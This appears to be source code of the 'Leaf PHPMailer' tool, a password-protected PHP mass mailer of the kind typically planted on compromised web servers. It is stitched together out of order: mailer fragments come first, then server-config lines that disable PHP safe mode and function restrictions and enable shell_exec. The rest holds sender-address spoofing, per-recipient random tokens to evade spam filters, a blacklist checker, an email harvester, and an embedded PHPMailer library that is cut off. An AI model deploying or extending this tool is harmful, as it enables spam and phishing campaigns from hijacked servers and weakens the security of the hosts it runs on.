                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "MnvGafgcKSO";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
